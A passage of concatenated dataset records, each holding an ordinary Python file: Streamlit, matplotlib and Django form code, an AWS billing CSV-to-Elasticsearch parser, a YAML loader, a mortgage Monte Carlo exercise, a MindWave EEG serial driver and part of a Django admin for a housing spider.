\",unsafe_allow_html=True)\r\n w1,col1,col2,w2=st.columns((1,2,2,1))\r\n us1,bc1,bc2,us2=st.columns((4,3,3,6))\r\n with col1:\r\n st.markdown(\"\")\r\n st.write(\"# Enter the Number \")\r\n # ------------to create the function to clear the input-----------#\r\n with bc2:\r\n st.markdown(\"\")\r\n st.markdown(\"\")\r\n def clear_text():\r\n st.session_state[\"Clear_Square\"] = 0\r\n st.button(\"Clear\", on_click=clear_text) \r\n with col2:\r\n vAR_input_num=st.number_input(\"\",step=1.0,key=\"Clear_Square\") \r\n #-----squre-------#\r\n with bc1:\r\n st.markdown(\"\")\r\n st.markdown(\"\")\r\n if st.button(\"Submit\"):\r\n with col2:\r\n if vAR_input_num !=0:\r\n vAR_square = vAR_input_num ** 2\r\n vAR_square=round(vAR_square,2)\r\n st.success(vAR_square)\r\n else:\r\n st.error(\"Error\")\r\n with col1:\r\n st.write(\"# Result \")\r\n","sub_path":"Streamlitapp/Grade-08/source/find_square.py","file_name":"find_square.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"490486178","text":"## Import libraries\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n# Bar Graph: Featured Games Data\ngames = [\"LoL\", \"Dota 2\", \"CS:GO\", \"DayZ\", \"HOS\", \"Isaac\", \"Shows\", \"Hearth\", \"WoT\", \"Agar.io\"]\nviewers = [1070, 472, 302, 239, 210, 171, 170, 90, 86, 71]\n\n## Begin Bar Chart\nplt.bar(range(len(games)), viewers, color=\"green\")\nplt.title('Twitch Most Viewed Games')\nplt.legend(['Twitch'])\nplt.xlabel('Games')\nplt.ylabel('Viewers')\nax = plt.subplot()\nax.set_xticks(range(len(games)))\nax.set_xticklabels(games, rotation=30)\nplt.show()\nplt.close('all')\n\n# Pie Chart: League of Legends Viewers' Whereabouts Data\nlabels = [\"US\", \"DE\", \"CA\", \"N/A\", \"GB\", \"TR\", \"BR\", \"DK\", \"PL\", \"BE\", \"NL\", \"Others\"]\ncountries = [447, 66, 64, 49, 45, 28, 25, 20, 19, 17, 17, 279]\ncolors = ['lightskyblue', 'gold', 'lightcoral', 'gainsboro', 'royalblue', 'lightpink',\n 'darkseagreen', 'sienna', 'khaki', 'gold', 'violet', 'yellowgreen']\nexplode = (0.1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)\n\n## Begin pie chart\nplt.pie(x=countries, colors=colors, explode=explode,\n shadow=True, startangle=345,\n autopct='%1.0f%%', pctdistance=1.15)\nplt.title(\"League of Legends Viewers' Whereabouts\")\nplt.legend(labels, loc='right')\nplt.show()\nplt.close('all')\n\n# Line Graph: Time Series Analysis Data\nhour = range(24)\nviewers_hour = [30, 17, 34, 29, 19, 14, 3, 2, 4, 9, 5, 48, 62, 58, 40, 51, 69, 55, 76, 81, 102, 120, 71, 63]\n\n## Create bounds for viewers_hour uncertainty\ny_upper = [hour * 1.15 for hour in viewers_hour]\ny_lower = [hour * .85 for hour in viewers_hour]\n\n## Being line chart\nplt.plot(hour, viewers_hour)\nplt.fill_between(hour, y_upper, y_lower, alpha=0.2)\nplt.title(\"US Viewers Watching Patterns\")\nplt.xlabel('Hour')\nplt.ylabel('Viewers')\nax1 = plt.subplot()\nax1.set_yticks(hour)\nax1.set_yticklabels([0,20,40,60,80,100,120])\nplt.legend(['2015-01-0-1'])\nplt.show()\nplt.close('all')","sub_path":"plotting/twitch.py","file_name":"twitch.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"617693180","text":"from django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django import forms\nfrom apps.usuario.models import Profile, HorasSesion\nimport datetime\n\nTIPOS_USUARIO = (\n ('alumno', 'Alumno'),\n ('profesor', 'Profesor'),\n ('administrador', 'Administrador'),\n)\nESTADOS_USUARIO = (\n ('activo', 'Activo'),\n ('atencion', 'Atencion'),\n ('bloqueado', 'Bloqueado'),\n)\n\nclass ProfileFormUser(forms.ModelForm):\n class Meta:\n model = Profile\n #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n #hacer que cuando cambia el tipo cambie el grupo\n fields = ('codigo',)\n labels = {\n 'codigo':'Codigo',\n }\n widgets = {\n 'codigo' : forms.TextInput(attrs={'class':'form-control'}),\n }\n\nclass ProfileFormSuper(forms.ModelForm):\n class Meta:\n model = Profile\n #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n #hacer que cuando cambia el tipo cambie el grupo\n fields = ('tipo', 'estado')\n labels = {\n 'tipo':'Tipo de usuario',\n 'estado':'Estado',\n }\n widgets = {\n 'tipo': forms.Select(choices=TIPOS_USUARIO, attrs={'class':'form-control'}),\n 'estado' : forms.Select(choices=ESTADOS_USUARIO ,attrs={'class':'form-control'}),\n }\n\nclass ProfileForm(forms.ModelForm):\n class Meta:\n model = Profile\n #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n #hacer que cuando cambia el tipo cambie el grupo\n fields = ['codigo', 'tipo', 'estado']\n labels = {\n 'codigo':'Codigo',\n 'tipo':'Tipo de usuario',\n 'estado':'Estado',\n }\n widgets = {\n 'codigo' : forms.TextInput(attrs={'class':'form-control'}),\n 'tipo': forms.Select(choices=TIPOS_USUARIO, attrs={'class':'form-control'}),\n 'estado' : forms.Select(choices=ESTADOS_USUARIO ,attrs={'class':'form-control'}),\n }\n\nclass HorasSesionForm(forms.Form):\n inicio = forms.TimeField(label='Hora de inicio', widget=forms.TimeInput(attrs={'class':'form-control form-control-sm col-lg-5', 'type':'time'}))\n fin = forms.TimeField(label='Hora de fin', widget=forms.TimeInput(attrs={'class':'form-control form-control-sm col-lg-5', 'type':'time'}))\n","sub_path":"apps/usuario/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"515583846","text":"#!/usr/bin/python\n# Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\n\n''' AWS Detailed Billing parser to Logstash/ElasticSearch '''\n\n__author__ = 'Rafael M. Koike'\n__version__ = '0.3.1'\n__date__ = '2015-10-15'\n__maintainer__ = 'Rafael M. Koike'\n__email__ = 'koiker@amazon.com'\n__status__ = 'Development'\n\nimport argparse\nimport boto3\nimport csv\nimport json\nimport os\nimport sys\nimport time\n\nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom elasticsearch import Elasticsearch\n\nimport config\nimport functions as func\n\nDEBUG = 0\n\nOUTPUT_TO_FILE = 1\nOUTPUT_TO_ELASTICSEARCH = 2\n\n\ndef parse(args):\n\n # FIXME: remove (completely or partially) config module;\n # NOTE: passing values from args to config just to keep things as it was before argparser was introduced;\n config.csv_filename = args.input\n config.json_filename = args.output\n config.es_host = args.elasticsearch_host\n config.es_port = args.elasticsearch_port\n config.account_id = args.account_id\n config.es_year = args.year\n config.es_month = args.month\n config.output = args.output_type\n config.csv_delimiter = args.csv_delimiter\n config.update = args.update\n config.check = args.check\n\n if config.json_filename is None:\n # use same name as the input file, but with '.json' extension\n name, extension = os.path.splitext(config.csv_filename)\n config.json_filename = '{}.json'.format(name)\n\n print( \"AWS - Detailed Billing Records parser \\n\\n\")\n\n config.es_index = '{}-{:d}-{:0>2d}'.format(\n config.es_index,\n config.es_year,\n config.es_month)\n\n #Open input and output (file or elasticsearch) to work\n try:\n print( \"Opening Input file: {0}\\n\".format(config.csv_filename) )\n file_in = open( config.csv_filename, 'rb')\n except IOError as e:\n print( \"I/O error({0}): {1}\".format(e.errno, e.strerror) )\n sys.exit(2)\n except:\n print( \"Unexpected error:\", sys.exc_info()[0] )\n sys.exit(2)\n\n if config.output == 1:\n try:\n print( \"Opening Output file: {0}\\n\".format(config.json_filename) )\n file_out = open( config.json_filename, 'wb')\n except IOError as e:\n print( \"I/O error({0}): {1}\".format(e.errno, e.strerror) )\n sys.exit(2)\n except:\n print( \"Unexpected error:\", sys.exc_info()[0] )\n sys.exit(2)\n\n elif config.output == 2:\n print( \"Sending DBR to Elasticsearch host: {0} Port: {1}\".format( config.es_host, config.es_port ) )\n es = Elasticsearch( [{'host': config.es_host, 'port': config.es_port}])\n es.indices.create( config.es_index, ignore=400 )\n es.indices.put_mapping( index=config.es_index, doc_type=config.es_doctype, body=config.mapping)\n\n\n row_count = sum(1 for row in file_in)\n print( \"The Input file has {0} records\".format(row_count) )\n file_in.seek(0) #Move the file pointer to the START again\n print( 'Output to file' if config.output == 1 else 'Output to Elasticsearch')\n print( \"Parsing CSV file to JSON\" )\n csv_file = csv.DictReader(file_in, delimiter=config.csv_delimiter)\n pb = func.ProgressBar( barsize=50,barmax=row_count,drawperc=True,empty=' ')\n pb.initialize()\n i=1\n for json_row in csv_file:\n if not func.bulk_data( json.dumps( json_row, ensure_ascii=False, encoding=config.encoding ) , config.bulk_msg ):\n if DEBUG: print( json.dumps( func.split_subkeys( json.dumps( json_row, ensure_ascii=False, encoding=config.encoding ) ),\n ensure_ascii=False, encoding=config.encoding ) )\n if config.output == 1:\n file_out.write( json.dumps( func.split_subkeys( json.dumps( json_row, ensure_ascii=False, encoding=config.encoding ) ) ) )\n file_out.write('\\n')\n elif config.output == 2:\n try:\n if config.check:\n response = es.search_exists( index=config.es_index, doc_type=config.es_doctype, q='RecordId:'+ json_row['RecordId'])\n if response:\n print( 'Update record: (ToDo)' + json_row['RecordId'])\n else:\n try:\n es.index( index=config.es_index, doc_type=config.es_doctype, \n body=json.dumps( func.split_subkeys( json.dumps( json_row, ensure_ascii=False, encoding=config.encoding ) ), \n ensure_ascii=False, encoding=config.encoding ) )\n except:\n print( 'Error adding: ' + json.dumps( json_row) )\n else:\n es.index( index=config.es_index, doc_type=config.es_doctype, \n body=json.dumps( func.split_subkeys( json.dumps( json_row, ensure_ascii=False, encoding=config.encoding ) ), \n ensure_ascii=False, encoding=config.encoding ) )\n except:\n print( 'Error adding: ' + json.dumps( json_row) )\n i=i+1\n pb.update(i) # Update Progressbar\n\n pb.done() #Finish Progressbar\n print( \"Finished processing...\" )\n file_in.close()\n if config.output == 1:\n print( \"Closing Output file.\" )\n file_out.close()\n\n\nif __name__ == '__main__':\n\n now = datetime.now()\n start_time = time.time()\n\n parser = argparse.ArgumentParser(description='AWS detailed billing parser to Logstash or ElasticSearch')\n parser.add_argument('-i', '--input', required=True, help='Input file (expected to be a CSV file)')\n parser.add_argument('-o', '--output', help='Output file (will generate a JSON file)')\n parser.add_argument('-e', '--elasticsearch-host', metavar='HOST', help='Elasticsearch host name or IP address')\n parser.add_argument('-p', '--elasticsearch-port', type=int, metavar='PORT', help='Elasticsearch port number')\n parser.add_argument('-a', '--account-id', help='AWS Account-ID (Default is 012345678901)')\n parser.add_argument('-y', '--year', type=int, help='Year for the index (uses current year if not provided)')\n parser.add_argument('-m', '--month', type=int, help='Month for the index (uses current month if not provided)')\n parser.add_argument('-t', '--output-type', type=int,\n choices=[OUTPUT_TO_FILE, OUTPUT_TO_ELASTICSEARCH,],\n help='Output type ({}=Output to file, {}=Elasticsearch)'.format(\n OUTPUT_TO_FILE,\n OUTPUT_TO_ELASTICSEARCH))\n parser.add_argument('-d', '--csv-delimiter', help='CSV delimiter (default is comma)')\n parser.add_argument('-u', '--update', action='store_true', help='Update if current record exist in ES before add (Must use with --check)')\n parser.add_argument('-c', '--check', action='store_true', help='Check if current lines exist in ES before add')\n parser.add_argument('-v', '--version', action='version', version='%(prog)s {}'.format(__version__))\n parser.set_defaults(\n elasticsearch_host='search-name-hash.region.es.amazonaws.com',\n elasticsearch_port=80,\n year=now.year,\n month=now.month,\n output_type=OUTPUT_TO_FILE,\n csv_delimiter=',')\n\n args = parser.parse_args()\n parse(args)\n elapsed_time = time.time() - start_time\n print( 'Elapsed time: ' + str( timedelta( seconds=elapsed_time ) ) )\n","sub_path":"aws-billing-parser.py","file_name":"aws-billing-parser.py","file_ext":"py","file_size_in_byte":7966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"491716794","text":"import re\nimport yaml\n\n\n__loader = yaml.SafeLoader\n__loader.add_implicit_resolver(\n u'tag:yaml.org,2002:float',\n re.compile(u'''^(?:\n [-+]?(?:[0-9][0-9_]*)\\\\.[0-9_]*(?:[eE][-+]?[0-9]+)?\n |[-+]?(?:[0-9][0-9_]*)(?:[eE][-+]?[0-9]+)\n |\\\\.[0-9_]+(?:[eE][-+][0-9]+)?\n |[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+\\\\.[0-9_]*\n |[-+]?\\\\.(?:inf|Inf|INF)\n |\\\\.(?:nan|NaN|NAN))$''', re.X),\n list(u'-+0123456789.'))\n\n\ndef load_yaml_file(file):\n with open(file, 'r') as f:\n return yaml.load(f, Loader=__loader)\n\n\ndef get_train_configs(file=None):\n default_configs = load_yaml_file('configs/default_settings.yaml')\n\n if file:\n custom_configs = load_yaml_file(file)\n if custom_configs:\n default_configs.update(custom_configs)\n\n return default_configs\n","sub_path":"utils/yaml_helper.py","file_name":"yaml_helper.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"164612245","text":"import sys\r\nimport requests as r\r\nimport json\r\n\r\n\r\nif(len(sys.argv)!=4):\r\n\tprint( \"Incorrect usage\")\r\n\tprint (\"To update transfer correct usage: python --filename.py --source --target --updated_status: (0 = started) (1 = finished)\")\r\n\tsys.exit()\r\n\r\nheaders = {'content-type': 'application/json'}\r\ndata = {'source': sys.argv[1],'target' : sys.argv[2],'status':sys.argv[3]}\r\nr1 = r.post('http://localhost:5000/updateTransfer',json.dumps(data),headers=headers)","sub_path":"updateTransfer.py","file_name":"updateTransfer.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"461707274","text":"from django import forms\nfrom django.forms import fields\nfrom django.forms.fields import EmailField\nfrom django.forms.widgets import HiddenInput\nfrom django.core import validators\nfrom prm_firstapp.models import Salary\n\ndef check_for_z(value):\n if value[0].lower() != 'z':\n raise forms.ValidationError(\"NAME NEEDS TO START WITH Z\")\nclass employeeForm(forms.Form):\n # creating fields\n #name = forms.CharField(validators = [check_for_z]) # one way of adding validations\n name = forms.CharField()\n belt_A = forms.IntegerField()\n belt_B = forms.IntegerField()\n belt_C = forms.IntegerField()\n email = forms.EmailField()\n verify_email = forms.EmailField(label='Enter your email again')\n # hidden fields\n # botcatcher not actually required\n\n #botcatcher = forms.CharField(required=False, widget=HiddenInput, validators =[validators.MaxLengthValidator(0)] ) #multiple validators can be passed in the list\n\n # create a custom validator - this is basically not used a lot\n def clean_botcatcher(self):\n botcatcher = self.cleaned_data['botcatcher']\n if len(botcatcher)>0:\n # means that a robot tried to scrap our page - so raise an error\n raise forms.ValidationError(\"GOTCHA BOT\")\n return botcatcher\n # using Django's core built in validator - just add another parameter - validators as above\n\n # single clean method for all\n def clean(self):\n all_clean = super().clean()\n email = all_clean['email']\n vmail = all_clean['verify_email']\n if email != vmail:\n raise forms.ValidationError('EMAILS SHOULD MATCH')\n\n # creating custom validators using Django's built in validators\n # let's say we have to ensure that the name starts with z - we use the methos created outside the class to validate this\n\"\"\"\"\"\nConnecting models and forms\n\"\"\"\"\"\nclass NewUserForm(forms.ModelForm):\n class Meta:\n model = Salary\n fields = '__all__'","sub_path":"prm/prm_firstapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"148492076","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nimport threading\nimport serial\nimport time\n\nclass MindWaveData:\n def __init__( self ):\n self.poorSignalQuality = 200 # byte (0 <=> 200) 0=OK; 200=sensor sin contacto con la piel\n self.attentionESense = 0 # byte (1 <=> 100) 0=no confiable\n self.meditationESense = 0 # byte (1 <=> 100) 0=no confiable\n self.blinkStrength = 0 # byte (1 <=> 255)\n self.rawWave16Bit = 0 # int16 (-32768 <=> 32767)\n self.delta = 0 # uint32 (0 <=> 16777215)\n self.theta = 0 # uint32 (0 <=> 16777215)\n self.lowAlpha = 0 # uint32 (0 <=> 16777215)\n self.highAlpha = 0 # uint32 (0 <=> 16777215)\n self.lowBeta = 0 # uint32 (0 <=> 16777215)\n self.highBeta = 0 # uint32 (0 <=> 16777215)\n self.lowGamma = 0 # uint32 (0 <=> 16777215)\n self.midGamma = 0 # uint32 (0 <=> 16777215)\n\nclass MindWave():\n def __init__( self, port, timeout, ghid ):\n self.port = port\n self.timeout = timeout\n self.ghid = ghid\n self.mutex = threading.Lock()\n self.connected = False\n self.mwd = MindWaveData()\n self.conn = None\n self.tRunning = False\n self.tParser = None\n self.queue = None\n self.bytesLeidos = 0\n self.bytesPerdidos = 0\n\n def connect( self ):\n if( self.connected ):\n print( \"MindWave Connect(): Ya se encuentra conectado a\", self.port )\n return True\n\n self.mwd = MindWaveData()\n self.conn = None\n self.tRunning = False\n self.tParser = None\n self.queue = bytearray()\n self.bytesLeidos = 0\n self.bytesPerdidos = 0\n\n print( \"MindWave Connect(): Intentando conectar a\", self.port, \" ...\", end='' )\n try:\n self.conn = serial.Serial( self.port, baudrate=115200, bytesize=8,\n parity='N', stopbits=1, timeout=0.1 )\n self.conn.flushInput()\n self.conn.flushOutput()\n self.connected = True\n except Exception as e:\n self.conn = None\n print( e )\n return False\n print( \"OK\" )\n\n #resetea conexión anterior\n print( \"MindWave Connect(): Limpiando conexión previa ...\", end='' )\n try:\n # request \"Disconnect\"\n self.conn.write( bytearray( [ 0xc1 ] ) )\n time.sleep( 1 )\n self.conn.flushInput()\n except Exception as e:\n self.conn.close()\n self.conn = None\n self.connected = False\n print( e )\n return False\n print( \"OK\" )\n\n # conecta al headset\n try:\n # especifica un Global Headset Unique Identifier (ghid)\n if( self.ghid != 0x0000 ):\n print( \"MindWave Connect(): Enlazando headset \", end='' )\n # request \"Connect\"\n self.conn.write( bytearray( [ 0xc0, ( self.ghid >> 8 ) & 0xFF, self.ghid & 0xFF ] ) )\n self.conn.flush()\n # busca un Global Headset Unique Identifier (ghid)\n else:\n print( \"MindWave Connect(): Buscando headset \", end='' )\n # request \"Auto-Connect\"\n self.conn.write( bytearray( [ 0xc2 ] ) )\n self.conn.flush()\n except Exception as e:\n self.conn.close()\n self.conn = None\n self.connected = False\n print( e )\n return False\n\n # esperamos la respuesta del dongle\n while True:\n print( \".\", end = '' )\n\n # lee respuesta\n payload, err = self._getPayload()\n if( err != None ):\n break\n\n # analiza respuesta\n cmd = payload[0]\n if( cmd == 0xd0 ): # headset found and connected\n self.ghid = ( payload[2] << 8 ) + payload[3]\n break\n if( cmd == 0xd1 ): # headset not found\n if( payload[1] == 0x00 ):\n err = \"ErrNoHeadsetFound\"\n else:\n err = \"ErrHeadsetNotFound\"\n break\n if( cmd == 0xd2 ): # headset disconnected\n err = \"ErrDisconnected\"\n break\n if( cmd == 0xd3 ): # request denied\n err = \"ErrRequestDenied\"\n break\n if( cmd == 0xd4 ):\n if( payload[2] == 0x00 ): # dongle in stand by mode\n break\n else: # searching\n time.sleep( 0.0001 )\n else:\n err = \"ErrInvResponse\"\n break\n\n if( err != None ):\n self.conn.close()\n self.conn = None\n self.connected = False\n print( err )\n return False\n print( \"OK\" )\n\n # levantamos la tarea de apoyo\n print( \"MindWave Connect(): Levantando tarea de lectura de datos ...\", end='' )\n self.tParser = threading.Thread( target=self._TParser, args=(), name=\"_TParser\" )\n self.tParser.start()\n while ( not self.tRunning ):\n time.sleep( 0.0001 )\n print( \"OK\" )\n\n return True\n\n def disconnect( self ):\n if( self.connected ):\n print( \"MindWave Disconnect(): Deteniendo Tarea ...\", end='' )\n self.tRunning = False\n self.tParser.join()\n self.tParser = None\n self.queue = bytearray()\n print( \"OK\" )\n\n # request \"Disconnect\"\n print( \"MindWave Disconnect(): Desconectando headset y cerrando puerta ...\", end='' )\n try:\n self.conn.write( bytearray( [ 0xc1 ] ) )\n time.sleep( 1 )\n self.conn.close()\n except Exception as e:\n pass\n self.connected = False\n self.conn = None\n\n print( \"OK\" )\n print( \"Bytes Leidos :\", self.bytesLeidos )\n print( \"Bytes Perdidos :\", self.bytesPerdidos )\n print( threading.enumerate() )\n\n def isConnected( self ):\n return self.connected\n\n def getGlobalHeadsetID( self ):\n return \"%04X\" % self.ghid\n\n def fillMindWaveData( self, mwd ):\n self.mutex.acquire()\n mwd.poorSignalQuality = self.mwd.poorSignalQuality\n mwd.attentionESense = self.mwd.attentionESense\n mwd.meditationESense = self.mwd.meditationESense\n mwd.blinkStrength = self.mwd.blinkStrength\n mwd.rawWave16Bit = self.mwd.rawWave16Bit\n mwd.delta = self.mwd.delta\n mwd.theta = self.mwd.theta\n mwd.lowAlpha = self.mwd.lowAlpha\n mwd.highAlpha = self.mwd.highAlpha\n mwd.lowBeta = self.mwd.lowBeta\n mwd.highBeta = self.mwd.highBeta\n mwd.lowGamma = self.mwd.lowGamma\n mwd.midGamma = self.mwd.midGamma\n self.mutex.release()\n\n # privadas\n def _getByte( self ):\n while( True ):\n if( self.conn.in_waiting > 0 ):\n data = self.conn.read( self.conn.in_waiting )\n if( type( data ) == str ):\n self.queue = self.queue + bytearray( data )\n else:\n self.queue = self.queue + data\n self.bytesLeidos = self.bytesLeidos + len( data )\n if( len( self.queue ) > 0 ):\n return self.queue.pop( 0 )\n time.sleep( 0.0001 )\n\n def _getPayload( self ):\n # 0xaa 0xaa [0xaa]*\n scanning = True\n while( scanning ):\n b = self._getByte()\n if( b == 0xaa ):\n b = self._getByte()\n if( b == 0xaa ):\n while( scanning ):\n plength = self._getByte()\n if( plength != 0xaa ):\n scanning = False\n else:\n self.bytesPerdidos = self.bytesPerdidos + 1\n else:\n self.bytesPerdidos = self.bytesPerdidos + 2\n else:\n self.bytesPerdidos = self.bytesPerdidos + 1\n\n # packet length\n if( plength <= 0 or plength >= 0xaa ):\n self.bytesPerdidos = self.bytesPerdidos + 1\n return None, \"ErrInvPLength (%02X)\" % plength\n\n # payload\n payload = bytearray( plength )\n for i in range( plength ):\n payload[i] = self._getByte()\n\n # checksum\n checksum = self._getByte()\n suma = 0\n for i in range( plength ):\n suma = suma + payload[i]\n suma = ( ~( suma & 0xff ) ) & 0xff\n if( checksum != suma ):\n self.bytesPerdidos = self.bytesPerdidos + 1 + plength + 1\n return None, \"ErrChecksum (%02X/%02X)\" % (checksum, suma)\n\n # ok\n return payload, None\n\n def _TParser( self, *args ):\n self.bytesLeidos = 0\n self.bytesPerdidos = 0\n self.queue = bytearray()\n self.conn.flushInput()\n self.tRunning = True\n while( self.tRunning ):\n err = self._parsePayload()\n if( err != None ):\n print( \"TParser: \", err )\n\n def _parsePayload( self ):\n payload, err = self._getPayload()\n if( err != None ):\n return err\n\n if( payload[0] == 0xd2 ): # disconnected\n return \"ErrDisconnected\"\n\n if( payload[0] == 0xd4 ): # alive message in stand by mode\n return None\n\n pos = 0\n self.mutex.acquire()\n while pos < len( payload ):\n exCodeLevel = 0\n while( payload[pos] == 0x55 ):\n exCodeLevel = exCodeLevel + 1\n pos = pos + 1\n code = payload[pos]\n pos = pos + 1\n if( code >= 0x80 ):\n vlength = payload[pos]\n pos = pos + 1\n else:\n vlength = 1\n\n data = bytearray( vlength )\n for i in range( vlength ):\n data[i] = payload[pos + i]\n pos = pos + vlength\n\n if( exCodeLevel == 0 ):\n if( code == 0x02 ): # poor signal quality (0 to 255) 0=>OK; 200 => no skin contact\n self.mwd.poorSignalQuality = data[0]\n elif( code == 0x04 ): # attention eSense (0 to 100) 40-60 => neutral, 0 => result is unreliable\n self.mwd.attentionESense = data[0]\n elif( code == 0x05 ): # meditation eSense (0 to 100) 40-60 => neutral, 0 => result is unreliable\n self.mwd.meditationESense = data[0]\n elif( code == 0x16 ): # blink strength (1 to 255)\n self.mwd.blinkStrength = data[0]\n elif( code == 0x80 ): # raw wave value (-32768 to 32767) - big endian\n n = ( data[0]<<8 ) + data[1]\n if( n >= 32768 ):\n n = n - 65536\n self.mwd.rawWave16Bit = n\n elif( code == 0x83 ): # asic eeg power struct (8, 3 bytes unsigned int big indian)\n self.mwd.delta = ( data[0]<<16 ) + ( data[1]<<8 ) + data[2]\n self.mwd.theta = ( data[3]<<16 ) + ( data[4]<<8 ) + data[5]\n self.mwd.lowAlpha = ( data[6]<<16 ) + ( data[7]<<8 ) + data[8]\n self.mwd.highAlpha = ( data[9]<<16 ) + ( data[10]<<8 ) + data[11]\n self.mwd.lowBeta = ( data[12]<<16 ) + ( data[13]<<8 ) + data[14]\n self.mwd.highBeta = ( data[15]<<16 ) + ( data[16]<<8 ) + data[17]\n self.mwd.lowGamma = ( data[18]<<16 ) + ( data[19]<<8 ) + data[20]\n self.mwd.midGamma = ( data[21]<<16 ) + ( data[22]<<8 ) + data[23]\n # elif( code == 0x01 ): # code battery - battery low (0x00)\n # elif( code == 0x03 ): # heart rate (0 to 255)\n # elif( code == 0x06 ): # 8bit raw wave value (0 to 255)\n # elif( code == 0x07 ): # raw marker section start (0)\n # elif( code == 0x81 ): # eeg power struct (legacy float)\n # elif( code == 0x86 ): # rrinterval (0 to 65535)\n else:\n print( \"ExCodeLevel: %02x, Code: %02x, Data: [%s]\" % ( exCodeLevel, code, ''.join(format(x, '02X') for x in data) ) )\n self.mutex.release()\n return None\n","sub_path":"rcr/mindwave/MindWave.py","file_name":"MindWave.py","file_ext":"py","file_size_in_byte":12836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"53598932","text":"#! /usr/bin/env python\n\n# Andrew Kos\n# CSC 541 - Monte Carlo Algorithms\n# Assignment 2\n\nimport random\n\nfrom math import exp, sqrt\n\n###############################\n############# 2.1 #############\n###############################\n\ndef sim_once(months = 120):\n # get expected number of months of payment\n for month in range(1, months + 1):\n if random.random() <= 0.01:\n break\n return month\n\ndef sim_many(months_max, target_dmu = 0.01, target_pcent_mu = 0.001, min_experiments = 10, max_experiments = 1000000):\n mu = 0.0 # E[months]\n expect_musqr = 0.0 # E[months ^ 2]\n history = [] # for canvas, once I get the thing working\n\n for n in range(1, max_experiments + 1):\n months = sim_once(months_max)\n mu = ((n - 1) * mu + months) / n\n expect_musqr = ((n - 1) * expect_musqr + months ** 2) / n\n variance = expect_musqr - mu ** 2 # E[months ^ 2] - E[months] ^ 2\n sigma = sqrt(variance)\n dmu = sigma / sqrt(n)\n\n history.append((n, mu, dmu, dmu))\n\n admu = abs(dmu)\n pmu = target_pcent_mu * abs(mu)\n target = max(target_dmu, pmu)\n\n if n > min_experiments and admu < target:\n if target == target_dmu:\n print(\"Hit target |dmu| (%f): %f\" % (target_dmu, admu))\n elif target == pmu:\n print(\"Hit target percent of |mu| (%f): %f\" % (target_pcent_mu, target))\n\n return n, mu, dmu\n\n raise RuntimeError(\"sim_many did not converge after %d experiments\" % n)\n\ndef solve(months_total, mortgage_monthly_payment = 1000):\n months_paid = sim_many(months_total)[1]\n return (float(months_total - months_paid) / months_paid) * mortgage_monthly_payment\n\ndef solve2(months_total, mortgage_monthly_payment = 1000):\n rate = 0.03\n months_paid = sim_many(months_total)[1]\n ins_pay_adjust = (exp(-rate / 12) ** months_paid - 1) / (exp(-rate / 12) - 1)\n month_pay_adjust = (exp(-rate / 12) ** months_total - 1) / (exp(-rate / 12) ** months_paid - 1)\n return month_pay_adjust / ins_pay_adjust * mortgage_monthly_payment\n\n\n \n","sub_path":"hw2/hw2.py","file_name":"hw2.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"577032947","text":"# -*- coding:utf-8 -*-\n\nfrom django.contrib import admin\n\nfrom . import widgets\nfrom .models import (\n HouseConfig,\n HouseListRule,\n HousePeriodicTask,\n CityDayStat,)\nfrom django.contrib.postgres.fields import JSONField\n\n\nclass CityInfoAdmin(admin.ModelAdmin):\n list_display = (\n 'type', 'city', 'district', 'total', 'source_url',\n 'is_start_init', 'is_inited', 'is_need_pool',\n 'pool_num', 'next_pool_time', 'updated_at')\n search_fields = ('city', )\n\n list_filter = ('is_inited', 'is_need_pool')\n\n def city_init_action(modeladmin, request, queryset):\n from .tasks import city_init, low_scheduler, start_fang_status_spider\n for i in queryset:\n if i.is_inited:\n continue\n if i.is_start_init:\n continue\n i.is_start_init=True\n i.is_need_pool=True\n i.save()\n city_init.delay(i)\n low_scheduler.cron('0 */8 * * *', start_fang_status_spider, \\\n kwargs={'url': i.source_url}, timeout=1800)\n\n city_init_action.short_description = \"初始化\"\n\n def city_pool_action(modeladmin, request, queryset):\n from .tasks import start_fang_round_spider\n for i in queryset:\n i.is_need_pool = True\n i.save()\n start_fang_round_spider.delay(i)\n\n city_pool_action.short_description = \"轮询\"\n\n def city_pool_cancel_action(modeladmin, request, queryset):\n\n for i in queryset:\n i.is_need_pool = False\n i.save()\n\n city_pool_cancel_action.short_description = 